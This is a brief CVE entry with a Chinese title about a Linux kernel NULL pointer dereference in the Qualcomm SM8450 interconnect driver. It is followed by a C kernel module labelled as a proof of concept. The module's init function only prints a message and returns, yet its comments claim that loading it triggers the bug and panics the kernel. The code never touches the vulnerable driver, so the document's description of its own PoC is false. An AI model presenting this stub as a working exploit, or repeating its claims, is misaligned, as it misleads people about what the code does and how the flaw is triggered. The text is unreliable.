CVE-2026-43335 Linux内核空指针解引用漏洞

/* * PoC for CVE-2026-43335: Linux Kernel NULL Pointer Dereference * Description: Trigger the vulnerable path by loading the affected driver. * The vulnerability occurs in qcom_icc_rpmh_probe when linking nodes * with unconverted dynamic IDs. */ #include <linux/module.h> #include <linux/init.h> // Note: This vulnerability is typically triggered during system boot // when the platform driver probes the Qualcomm SM8450 interconnect hardware. // If the driver is compiled as a module (M), loading it will trigger the bug. static int __init poc_init(void) { // Attempting to initialize the specific interconnect driver // If the system is vulnerable, this will cause a Kernel Panic // due to NULL pointer dereference in icc_link_nodes(). printk(KERN_INFO "Triggering CVE-2026-43335 PoC...\n"); return 0; } static void __exit poc_exit(void) { printk(KERN_INFO "Exiting PoC\n"); } module_init(poc_init); module_exit(poc_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("PoC for CVE-2026-43335");